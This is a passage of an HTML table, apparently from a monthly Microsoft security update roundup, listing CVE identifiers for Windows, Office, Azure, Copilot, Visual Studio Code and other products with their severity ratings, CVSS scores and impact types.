  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32161"><span>CVE-2026-32161</span></a></td>
  <td width="256" class="xl73">Windows Native WiFi
  Miniport Driver Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41089"><span>CVE-2026-41089</span></a></td>
  <td width="256" class="xl73">Windows Netlogon
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32175"><span>CVE-2026-32175</span></a></td>
  <td width="256" class="xl73">.NET Core Tampering
  Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">4.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32177"><span>CVE-2026-32177</span></a></td>
  <td width="256" class="xl73">.NET Elevation of
  Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35433"><span>CVE-2026-35433</span></a></td>
  <td width="256" class="xl73">.NET Elevation of
  Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-54518"><span>CVE-2025-54518 *</span></a></td>
  <td width="256" class="xl73">AMD: CVE-2025-54518
  CPU OP Cache Corruption</td>
  <td class="xl70">Important</td>
  <td class="xl69"></td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42899"><span>CVE-2026-42899</span></a></td>
  <td width="256" class="xl73">ASP.NET Core Denial of
  Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40381"><span>CVE-2026-40381</span></a></td>
  <td width="256" class="xl73">Azure Connected
  Machine Agent Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42823"><span>CVE-2026-42823 †</span></a></td>
  <td width="256" class="xl73">Azure Logic Apps
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33833"><span>CVE-2026-33833</span></a></td>
  <td width="256" class="xl73">Azure Machine Learning
  Notebook Spoofing Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32204"><span>CVE-2026-32204</span></a></td>
  <td width="256" class="xl73">Azure Monitor Agent
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42830"><span>CVE-2026-42830</span></a></td>
  <td width="256" class="xl73">Azure Monitor Agent
  Metrics Extension Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33117"><span>CVE-2026-33117</span></a></td>
  <td width="256" class="xl73">Azure SDK for Java
  Security Feature Bypass Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">9.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41109"><span>CVE-2026-41109</span></a></td>
  <td width="256" class="xl73">GitHub Copilot and
  Visual Studio Code Security Feature Bypass Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35424"><span>CVE-2026-35424</span></a></td>
  <td width="256" class="xl73">Internet Key Exchange
  (IKE) Protocol Denial of Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41614"><span>CVE-2026-41614</span></a></td>
  <td width="256" class="xl73">M365 Copilot for
  Desktop Spoofing Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41100"><span>CVE-2026-41100</span></a></td>
  <td width="256" class="xl73">Microsoft 365 Copilot
  for Android Spoofing Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">4.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40377"><span>CVE-2026-40377</span></a></td>
  <td width="256" class="xl73">Microsoft
  Cryptographic Services Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41094"><span>CVE-2026-41094</span></a></td>
  <td width="256" class="xl73">Microsoft Data
  Formulator Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40417"><span>CVE-2026-40417</span></a></td>
  <td width="256" class="xl73">Microsoft Dynamics 365
  Business Central Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42833"><span>CVE-2026-42833</span></a></td>
  <td width="256" class="xl73">Microsoft Dynamics 365
  On-Premises Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">9.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42838"><span>CVE-2026-42838</span></a></td>
  <td width="256" class="xl73">Microsoft Edge
  (Chromium-based) Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40360"><span>CVE-2026-40360</span></a></td>
  <td width="256" class="xl73">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40359"><span>CVE-2026-40359</span></a></td>
  <td width="256" class="xl73">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40362"><span>CVE-2026-40362</span></a></td>
  <td width="256" class="xl73">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42832"><span>CVE-2026-42832</span></a></td>
  <td width="256" class="xl73">Microsoft Excel
  Spoofing Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34329"><span>CVE-2026-34329</span></a></td>
  <td width="256" class="xl73">Microsoft Message
  Queuing (MSMQ) Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40419"><span>CVE-2026-40419</span></a></td>
  <td width="256" class="xl73">Microsoft Office
  Click-To-Run Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40418"><span>CVE-2026-40418</span></a></td>
  <td width="256" class="xl73">Microsoft Office
  Click-To-Run Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35436"><span>CVE-2026-35436</span></a></td>
  <td width="256" class="xl73">Microsoft Office
  Click-To-Run Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40420"><span>CVE-2026-40420</span></a></td>
  <td width="256" class="xl73">Microsoft Office
  Click-To-Run Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42893"><span>CVE-2026-42893</span></a></td>
  <td width="256" class="xl73">Microsoft Outlook for
  iOS Tampering Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40374"><span>CVE-2026-40374</span></a></td>
  <td width="256" class="xl73">Microsoft Power
  Automate Desktop Information Disclosure Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41102"><span>CVE-2026-41102</span></a></td>
  <td width="256" class="xl73">Microsoft PowerPoint
  for Android Spoofing Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35439"><span>CVE-2026-35439</span></a></td>
  <td width="256" class="xl73">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40368"><span>CVE-2026-40368</span></a></td>
  <td width="256" class="xl73">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33110"><span>CVE-2026-33110</span></a></td>
  <td width="256" class="xl73">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33112"><span>CVE-2026-33112</span></a></td>
  <td width="256" class="xl73">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40357"><span>CVE-2026-40357</span></a></td>
  <td width="256" class="xl73">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32185"><span>CVE-2026-32185</span></a></td>
  <td width="256" class="xl73">Microsoft Teams
  Spoofing Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41101"><span>CVE-2026-41101</span></a></td>
  <td width="256" class="xl73">Microsoft Word for
  Android Spoofing Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35440"><span>CVE-2026-35440</span></a></td>
  <td width="256" class="xl73">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40421"><span>CVE-2026-40421</span></a></td>
  <td width="256" class="xl73">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">4.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41097"><span>CVE-2026-41097</span></a></td>
  <td width="256" class="xl73">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40370"><span>CVE-2026-40370 †</span></a></td>
  <td width="256" class="xl73">SQL Server Remote Code
  Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41613"><span>CVE-2026-41613</span></a></td>
  <td width="256" class="xl73">Visual Studio Code
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41612"><span>CVE-2026-41612</span></a></td>
  <td width="256" class="xl73">Visual Studio Code
  Information Disclosure Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41611"><span>CVE-2026-41611</span></a></td>
  <td width="256" class="xl73">Visual Studio Code
  Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41610"><span>CVE-2026-41610</span></a></td>
  <td width="256" class="xl73">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33839"><span>CVE-2026-33839</span></a></td>
  <td width="256" class="xl73">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33840"><span>CVE-2026-33840</span></a></td>
  <td width="256" class="xl73">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34330"><span>CVE-2026-34330</span></a></td>
  <td width="256" class="xl73">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34331"><span>CVE-2026-34331</span></a></td>
  <td width="256" class="xl73">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35423"><span>CVE-2026-35423</span></a></td>
  <td width="256" class="xl73">Windows 11 Telnet
  Client Information Disclosure Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35438"><span>CVE-2026-35438</span></a></td>
  <td width="256" class="xl73">Windows Admin Center
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41086"><span>CVE-2026-41086</span></a></td>
  <td width="256" class="xl73">Windows Admin Center
  in Azure Portal Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34344"><span>CVE-2026-34344</span></a></td>
  <td width="256" class="xl73">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34345"><span>CVE-2026-34345</span></a></td>
  <td width="256" class="xl73">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35416"><span>CVE-2026-35416</span></a></td>
  <td width="256" class="xl73">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41088"><span>CVE-2026-41088</span></a></td>
  <td width="256" class="xl73">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34343"><span>CVE-2026-34343</span></a></td>
  <td width="256" class="xl73">Windows Application
  Identity (AppID) Subsystem Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35418"><span>CVE-2026-35418</span></a></td>
  <td width="256" class="xl73">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33835"><span>CVE-2026-33835</span></a></td>
  <td width="256" class="xl73">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34337"><span>CVE-2026-34337</span></a></td>
  <td width="256" class="xl73">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40407"><span>CVE-2026-40407</span></a></td>
  <td width="256" class="xl73">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40397"><span>CVE-2026-40397</span></a></td>
  <td width="256" class="xl73">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42896"><span>CVE-2026-42896</span></a></td>
  <td width="256" class="xl73">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35419"><span>CVE-2026-35419</span></a></td>
  <td width="256" class="xl73">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34336"><span>CVE-2026-34336</span></a></td>
  <td width="256" class="xl73">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33834"><span>CVE-2026-33834</span></a></td>
  <td width="256" class="xl73">Windows Event Logging
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32209"><span>CVE-2026-32209</span></a></td>
  <td width="256" class="xl73">Windows Filtering
  Platform (WFP) Security Feature Bypass Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">4.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33841"><span>CVE-2026-33841</span></a></td>
  <td width="256" class="xl73">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35420"><span>CVE-2026-35420</span></a></td>
  <td width="256" class="xl73">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
